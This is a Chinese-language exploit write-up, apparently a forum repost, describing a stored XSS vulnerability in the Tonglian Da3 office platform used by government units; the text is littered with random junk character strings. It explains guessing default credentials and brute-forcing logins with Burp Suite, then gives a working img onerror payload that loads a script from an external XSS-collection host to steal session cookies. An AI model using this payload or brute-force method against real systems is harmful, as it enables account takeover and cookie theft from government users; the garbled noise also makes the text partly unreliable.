同联Da3协同办公平台后台通用储存型xss漏洞

admin

6 j8 T, S% T; O- ?& P ; Y4 |/ y# ~1 @ 2 m5 x/ E0 U3 D' i! L 8 r: C" j7 k U: q3 \ " C% U8 S* ?% S( B, p7 M+ o+ C

+ ~/ Y" a$ k! v G( N$ j( ?

8 p! Z) f1 p3 U, K: R1 Z; m& T; e 同联Da3协同办公平台后台通用储存型xss漏洞 , J8 K& y1 d* l+ W! r! J* d

. R7 q: l9 S2 Q

; X" F2 P2 ^ ^ O5 r$ Z2 F/ N% L 平台简介： ! v+ k+ O1 V( D% R; p

. M, T# g( G( Y3 X* P

, W' h8 @) J3 e9 }) b S   ! c, p, ~/ P4 f1 I" B. \; j

" h. {, M2 Z( z& s

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
. o1 c3 U) f# b; T, ]/ Y同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 1 G% v* g& r) e7 k& i) E

 

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： * s; x, t: H4 s; I) I

& U8 D T" J6 A7 E0 o" \: j A( `3 {  

http://1.1.1.1:7197/cap-aco/#（案例2-） 8 ]; W- m& r6 A1 h5 p

9 A# M: x% t! W0 S, b3 S1 t

9 y% M1 o1 C- J http://www.XXOO.com （案例1-官网网站） + Q* \( s* C' n- h2 n. m

: V0 @, p) p1 h

" Z8 J& [- _* P' A7 D% f8 b! ?: H 漏洞详情:

, E$ B; o4 Q4 f

! ]* g! J A/ N6 @% z( A) u( Z  案例一、 ( v( M3 w' b/ h

9 N4 [% u9 ~# l+ ^( Q! h 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 ) y! l* e& Q ^+ m$ E

8 R( T7 }& V* `) w4 y) F

) |7 e" k0 W7 l+ |5 W      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

( X9 E% y7 L* ^( a3 w. R9 o x

  + Z% \; n' r- h5 E. P

' q) {- b& f: |$ F% Y9 F

/ J% y, x& ?) m/ ^# A% ?

4 U8 S: p3 ?' g$ ~' A

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： % _& c( ?: i7 a1 T

  & l1 L0 \ b6 t# J; T

& ~4 {( _: F( \& ^- ^

4 V; \7 ^/ W0 H* P' u- S; W

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 9 k5 d5 s) W1 u( D

) X0 m& r3 [ Y3 p& X/ }' F, i, v  

; T1 Z' x/ M0 i; i( s; `+ w

! e# o. `: {% \ <img src=x 3 W, u& W- I' _) z' I9 ~onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： * G/ S& u) k4 V6 c y

2 a2 V" f. T: A& g$ D' F6 N! L

" S/ r$ a( M# t 然后发送，接收cookie如图：

 

7 y7 x0 c% W% v l+ `: f6 F3 n

: } R+ Z, H3 K0 R2 @. s   6 k( F7 J9 E3 v4 M0 [+ D9 h

  0 N7 [: s5 c( |. Y# r

3 O1 D1 ~+ g$ M7 _/ y( E

3 m5 z0 @+ x- N/ Y. c% l9 T. h  

: n( L' y( w& }3 k' j- Z

. c3 a' t' t! N 3 k! k4 _* w% o; p2 X/ a! Q

0 t" j9 k- c$ u5 F# M' A

/ H- g. O5 |* m5 r- o' p* } * c2 U: I9 v! R1 e& w/ z

 

8 \6 W( `) |, I, `4 x1 D6 p8 k 案例2、

6 p0 }' ?# R. r1 R/ u

前面步骤都一样，下面看效果图：

8 o3 U6 \0 d3 G & E2 N/ C$ r: H% s0 s

' `) f( ^ Y/ t

4 f& R5 S I* x3 ] ' V0 g9 g7 c* r! U5 }

% i( I# M2 I3 j+ W/ `  

 

) p% s; L2 [5 V

7 j1 h. z% v: p% i. X8 H

" q% X$ B% W; n' W

; \. Y4 `' M0 \; s2 O# `   ! c3 \3 D8 w, ]. {" i5 I8 Z( M) G

$ i' C8 o3 D5 Y! W5 J: f' ]( Z   7 Z- E8 ^' W; l7 I4 \

# u. j3 C6 }! C* d

8 z3 w$ n I* R- {$ m   7 R5 s3 `; ^6 I* X

6 ~" z- t$ T# q$ K1 S3 {6 n8 Y

& n$ T' f% v# P0 `